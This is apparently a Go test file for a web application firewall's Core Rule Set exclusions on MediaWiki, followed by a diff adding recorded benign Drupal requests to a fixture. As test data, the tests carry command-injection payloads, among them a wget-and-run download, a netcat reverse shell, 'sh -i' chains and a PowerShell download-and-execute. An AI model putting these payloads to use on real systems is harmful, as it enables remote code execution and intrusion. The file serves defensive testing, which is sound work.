const mediawikiCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
targets := append([]string{"/load.php?modules="}, mediawikiQueryFields...)
for _, target := range targets {
got := inspect(t, crs, get(target+mediawikiCommandAttack))
if got.Score < mediawikiThreshold {
t.Errorf("%s let through: %+v", target, got)
}
}
crs = readingBodies(t)
for _, sent := range slices.Concat(mediawikiBodyFields, mediawikiReasonFields) {
r := request{http.MethodPost, sent.target, []string{formData}}
got, _ := inspectBody(t, crs, r, sent.field+mediawikiCommandAttack)
if got.Score < mediawikiThreshold {
t.Errorf("POST %s %s let through: %+v", sent.target, sent.field, got)
}
}
r := request{http.MethodPut, mediawikiRESTPage, []string{jsonBody}}
body := `{"comment":"; wget http://example.com/x.sh"}`
got, _ := inspectBody(t, crs, r, body)
if got.Score < mediawikiThreshold {
t.Errorf("PUT %s %s let through: %+v", r.target, body, got)
}
// wpTitles skips 932125, 932230, 932235, 932260 and 932380 only when it
// holds no ";", "|", "&", backtick or "{", and only when the body sends
// it once.
r = request{http.MethodPost, mediawikiWatchlist.target, []string{formData}}
for _, attack := range []string{
mediawikiCommandAttack,
"Example%0D%0A" + mediawikiCommandAttack,
"Example&" + mediawikiWatchlist.field + mediawikiCommandAttack,
"Example%0D%0A%24%28id%29",
"Example%0D%0A%7Cnc%20-e%20%2Fbin%2Fsh%20192.0.2.1%204444",
"%3B%20sh%20-i",
"%26%26%20sh%20-i",
"%7C%7C%20sh%20-i",
"%60sh%20-i%60",
"%3B%20ls%20-la%20%2F",
"%3B%20iwr%20http%3A%2F%2Fexample.com%2Fx.ps1",
"%26%20iex%20%28iwr%20http%3A%2F%2Fexample.com%2Fx.ps1%29",
"%7Bwget%2Chttp%3A%2F%2Fexample.com%2Fx.sh%7D",
} {
body := mediawikiWatchlist.field + attack
got, _ := inspectBody(t, crs, r, body)
if got.Score < mediawikiThreshold {
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
}
}
}
func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
for _, value := range hardValues {
for _, target := range mediawikiQueryFields {
if got := inspect(t, crs, get(target+value)); got.Score >= mediawikiThreshold {
t.Errorf("%s%s refused: %+v", target, value, got)
}
}
fields := append(append([]mediawikiBodyField{}, mediawikiBodyFields...),
mediawikiWikitextFields...)
for _, sent := range fields {
r := request{http.MethodPost, sent.target, []string{formData}}
got, _ := inspectBody(t, crs, r, sent.field+value)
if got.Score >= mediawikiThreshold {
t.Errorf("POST %s %s%s refused: %+v", sent.target, sent.field, value, got)
}
}
// A reason names the command or file in a sentence, as recorded.
for _, sent := range mediawikiReasonFields {
r := request{http.MethodPost, sent.target, []string{formData}}
body := sent.field + "Spamming%20links%20to%20" + value + "%20guides"
got, _ := inspectBody(t, crs, r, body)
if got.Score >= mediawikiThreshold {
t.Errorf("POST %s %s refused: %+v", sent.target, body, got)
}
}
// A watchlist holds the title on its second line, as recorded.
r := request{http.MethodPost, mediawikiWatchlist.target, []string{formData}}
body := mediawikiWatchlist.field + "Lighthouse%20notes%0D%0A" + value + "%20notes"
if got, _ := inspectBody(t, crs, r, body); got.Score >= mediawikiThreshold {
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
}
}
}
func TestMediaWikiExclusionsAreNarrow(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
for _, refused := range []string{
"/?search=python3",
"/index.php?search=python3",
"/index.php?title=Example&other=python3",
"/other.php?title=python3",
"/api.php?other=python3",
"/rest.php/v1/search/title?other=python3",
"/?q=python3",
"/load.php?other=.htaccess",
"/x/api.php?search=python3",
"/x/index.php/Example?search=python3",
} {
if got := inspect(t, crs, get(refused)); got.Score < mediawikiThreshold {
t.Errorf("%s let through: %+v", refused, got)
}
}
crs = readingBodies(t)
// An uploaded file named .htaccess is still refused off MediaWiki's
// paths.
r := request{
http.MethodPost, "/upload.php",
[]string{"Content-Type: multipart/form-data; boundary=b"},
}
body := "--b\r\nContent-Disposition: form-data; name=\"file\"; " +
"filename=\"Example .htaccess.png\"\r\n\r\nx\r\n--b--\r\n"
got, _ := inspectBody(t, crs, r, body)
if got.Score < mediawikiThreshold {
t.Errorf("POST %s %q let through: %+v", r.target, body, got)
}
for _, target := range []string{
mediawikiAPI, mediawikiUpload,
mediawikiUploadPage, "/w" + mediawikiUploadPage,
} {
r.target = target
if got, _ := inspectBody(t, crs, r, body); got.Score >= mediawikiThreshold {
t.Errorf("POST %s %q refused: %+v", r.target, body, got)
}
}
}
func TestMediaWikiBodyFieldsStayCheckedInTheQuery(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
// The same field name in the query keeps the rules, in the query and
// in the body.
for _, sent := range []struct{ target, field string }{
{mediawikiEdit, "wpTextbox1=python3"},
{mediawikiEdit, "wpSummary=python3"},
{mediawikiSignIn, "wpPassword=python3"},
{mediawikiProtect, "mwProtect-reason=.htaccess"},
{"/index.php?title=Special:EditWatchlist/raw", "wpTitles=python3"},
{mediawikiAPI + "?action=edit", "text=python3"},
} {
r := request{http.MethodPost, sent.target + "&" + sent.field, []string{formData}}
got, _ := inspectBody(t, crs, r, sent.field)
if got.Score < mediawikiThreshold {
t.Errorf("POST %s let through: %+v", r.target, got)
}
}
}
+263 -2
View File
@@ -1,6 +1,6 @@
# Ordinary Drupal 11.4 requests that the Core Rule Set must let through at the
# defaults. They were recorded from a site driven by a headless Chrome and an
# API client. Each line is one request as JSON. Host names, passwords and
# defaults. They were recorded from a site driven by a headless Chrome and
# HTTP clients. Each line is one request as JSON. Host names, passwords and
# session cookies are invented.
{"method": "GET", "target": "/", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/core/themes/olivero/fonts/metropolis/Metropolis-Regular.woff2", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/"], "body": ""}
@@ -407,6 +407,16 @@
{"method": "GET", "target": "/node/1?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "PATCH", "target": "/node/1?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Content-Type: application/json", "X-Csrf-Token: zG78nvG2BJfVxmuln0IVMVLxP3mMFJbS5E-H_v9caxs"], "body": "{\"type\": [{\"target_id\": \"article\"}], \"title\": [{\"value\": \"Edited: python3\"}]}"}
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"new.person@example.com\"}"}
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"example\"}"}
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"python3\"}"}
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"powershell\"}"}
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"ls -la\"}"}
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \".htaccess\"}"}
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"example@example.com\"}"}
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"python3@example.com\"}"}
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"powershell@example.com\"}"}
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"ls-la@example.com\"}"}
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"htaccess@example.com\"}"}
{"method": "POST", "target": "/user/logout?_format=json&token=6g2zVXyWnyiVNy0zy76IqHwJfb_Q7fY4m1cpnZyh0LY", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "PATCH", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/vnd.api+json", "X-Csrf-Token: fK1nVGRmImLpZRnGKVLo_fRY4zvgCTRWbMAXJ0023ho"], "body": "{\"data\": {\"type\": \"node--article\", \"id\": \"77b584a4-587e-4273-90b7-2677a1502feb\", \"attributes\": {\"title\": \"Edited about docker-compose.yml\", \"body\": {\"value\": \"<p>SELECT rows FROM table, then ls -la.</p>\", \"format\": \"basic_html\"}}}}"}
{"method": "GET", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb?include=uid", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
@@ -502,3 +512,254 @@
{"method": "POST", "target": "/jsonapi/node/article", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/vnd.api+json", "X-Csrf-Token: lRai9w8Ufs5XV4lf0RjtPEHPjM5YyEGC1vnmmCEgd08"], "body": "{\"data\": {\"type\": \"node--article\", \"attributes\": {\"title\": \"SELECT a table: python3, ls -la and .htaccess\", \"body\": {\"value\": \"<h2>Notes on python3 and powershell</h2><p>Run <code>ls -la</code> then <a href=\\\"/python3-notes\\\">read the notes</a> or <a href=\\\"https://example.com/docs/setup.php?a=1&amp;b=2\\\">the docs</a>.</p><pre><code class=\\\"language-bash\\\">#!/bin/sh\\ncat /etc/hosts | grep example &amp;&amp; ls -la\\npython3 setup.py install\\ncurl -s https://example.com/install.sh | sh\\nSELECT name, mail FROM users WHERE uid = 1;\\nconsole.log('ok'); document.getElementById('x');\\nif (a == b) { echo $PATH; }\\n</code></pre><blockquote><p>Select a table from the catalog, then union the results.</p></blockquote><ul><li>one</li><li>two</li></ul><table><tbody><tr><td>python3</td><td>3.13</td></tr></tbody></table><p><img src=\\\"/sites/default/files/inline-images/photo.png\\\" alt=\\\"A photo\\\" width=\\\"1\\\" height=\\\"1\\\" data-entity-type=\\\"file\\\" data-entity-uuid=\\\"11111111-2222-4333-8444-555555555555\\\"></p>\", \"format\": \"full_html\", \"summary\": \"Notes on python3 and powershell\"}}}}"}
{"method": "PATCH", "target": "/jsonapi/node/article/d71c9e89-d9bd-4822-ba15-54bef9d26522", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/vnd.api+json", "X-Csrf-Token: lRai9w8Ufs5XV4lf0RjtPEHPjM5YyEGC1vnmmCEgd08"], "body": "{\"data\": {\"type\": \"node--article\", \"id\": \"d71c9e89-d9bd-4822-ba15-54bef9d26522\", \"attributes\": {\"title\": \"Edited: docker-compose.yml\", \"body\": {\"value\": \"<h2>Notes on python3 and powershell</h2><p>Run <code>ls -la</code> then <a href=\\\"/python3-notes\\\">read the notes</a> or <a href=\\\"https://example.com/docs/setup.php?a=1&amp;b=2\\\">the docs</a>.</p><pre><code class=\\\"language-bash\\\">#!/bin/sh\\ncat /etc/hosts | grep example &amp;&amp; ls -la\\npython3 setup.py install\\ncurl -s https://example.com/install.sh | sh\\nSELECT name, mail FROM users WHERE uid = 1;\\nconsole.log('ok'); document.getElementById('x');\\nif (a == b) { echo $PATH; }\\n</code></pre><blockquote><p>Select a table from the catalog, then union the results.</p></blockquote><ul><li>one</li><li>two</li></ul><table><tbody><tr><td>python3</td><td>3.13</td></tr></tbody></table><p><img src=\\\"/sites/default/files/inline-images/photo.png\\\" alt=\\\"A photo\\\" width=\\\"1\\\" height=\\\"1\\\" data-entity-type=\\\"file\\\" data-entity-uuid=\\\"11111111-2222-4333-8444-555555555555\\\"></p>\", \"format\": \"full_html\"}}}}"}
{"method": "POST", "target": "/jsonapi/comment/comment", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/vnd.api+json", "X-Csrf-Token: lRai9w8Ufs5XV4lf0RjtPEHPjM5YyEGC1vnmmCEgd08"], "body": "{\"data\": {\"type\": \"comment--comment\", \"attributes\": {\"entity_type\": \"node\", \"field_name\": \"comment\", \"subject\": \"Python3 question\", \"comment_body\": {\"value\": \"<h2>Notes on python3 and powershell</h2><p>Run <code>ls -la</code> then <a href=\\\"/python3-notes\\\">read the notes</a> or <a href=\\\"https://example.com/docs/setup.php?a=1&amp;b=2\\\">the docs</a>.</p><pre><code class=\\\"language-bash\\\">#!/bin/sh\\ncat /etc/hosts | grep example &amp;&amp; ls -la\\npython3 setup.py install\\ncurl -s https://example.com/install.sh | sh\\nSELECT name, mail FROM users WHERE uid = 1;\\nconsole.log('ok'); document.getElementById('x');\\nif (a == b) { echo $PATH; }\\n</code></pre><blockquote><p>Select a table from the catalog, then union the results.</p></blockquote><ul><li>one</li><li>two</li></ul><table><tbody><tr><td>python3</td><td>3.13</td></tr></tbody></table><p><img src=\\\"/sites/default/files/inline-images/photo.png\\\" alt=\\\"A photo\\\" width=\\\"1\\\" height=\\\"1\\\" data-entity-type=\\\"file\\\" data-entity-uuid=\\\"11111111-2222-4333-8444-555555555555\\\"></p>\", \"format\": \"basic_html\"}}, \"relationships\": {\"entity_id\": {\"data\": {\"type\": \"node--article\", \"id\": \"d71c9e89-d9bd-4822-ba15-54bef9d26522\"}}}}}"}
{"method": "GET", "target": "/user/password?name=Example%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/ckeditor5/basic_html/entity-link-suggestions?q=Example%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/block-category/autocomplete?q=Example%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json", "Referer: http://example.com/admin/structure/block", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/media/oembed?url=https%3A%2F%2Fvimeo.com%2Fchannels%2FExample%20notes&max_width=0&max_height=0&hash=example-hash", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/big_pipe/no-js?destination=/admin/content%3Ftitle%3DExample%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/big_pipe/no-js?destination=/admin/content%3Ftitle%3DExample%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/2/revisions/3/revert?destination=/admin/content%3Ftitle%3DExample%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/2/revisions/3/delete?destination=/admin/content%3Ftitle%3DExample%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/block/add/basic?destination=/admin/content/block%3Finfo%3DExample%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/media-library?media_library_opener_id=media_library.opener.field_widget&media_library_allowed_types%5Bimage%5D=image&media_library_selected_type=image&media_library_remaining=1&hash=example-hash&name=Example%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/views/ajax?_wrapper_format=drupal_ajax&name=Example%20notes&view_name=media_library&view_display_id=widget&view_args=image&view_path=%2Fadmin%2Fcontent%2Fmedia-widget&_drupal_ajax=1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Cookie: SESSexample=example-session-value", "X-Requested-With: XMLHttpRequest"], "body": ""}
{"method": "GET", "target": "/fr/admin/content?title=Example%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/media?name=Example%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/people?user=Example%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/files?filename=Example%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/block?info=Example%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/comment?subject=Example%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/config/search/path?search=Example%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/search/node?keys=Example%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/entity_reference_autocomplete/taxonomy_term/default%3Ataxonomy_term/kTbsiUk3K87GlBBAjYhMayIWDWamtdsBC31lWLRHdzg?q=Example%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/jsonapi/node/article?filter%5Btitle%5D=Example%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/user/password?name=Example%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/block-category/autocomplete?q=Example%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/node/2/edit?destination=/admin/content%3Ftitle%3DExample%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content?destination=/admin/content%3Ftitle%3DExample%20notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/user/login", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login"], "body": "form_build_id=form--MgUmKVBHL8-ZmCxTbdLPxRiftVEH4MgTBHruTxJauE&form_id=user_login_form&name=Example+notes&pass=example-password-1&op=Log+in"}
{"method": "POST", "target": "/user/login?_format=json", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json"], "body": "{\"name\": \"Example notes\", \"pass\": \"example-password-1\"}"}
{"method": "POST", "target": "/user/register", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/register"], "body": "user_picture%5B0%5D%5Bfids%5D=&user_picture%5B0%5D%5Bdisplay%5D=1&form_build_id=form-KvM4cYzHX--qJZbsRjkUpjiC8Ur7siCJJhCJLblQr8E&form_id=user_register_form&contact=1&name=Example+notes&mail=new.person%40example.com&op=Create+new+account"}
{"method": "POST", "target": "/user/password", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/password"], "body": "form_build_id=form-iBeLc4CsvDOc-xZT-zhb6QxjNg_jwYe0TaIHAE_vpp8&form_id=user_pass&name=Example+notes&op=Submit"}
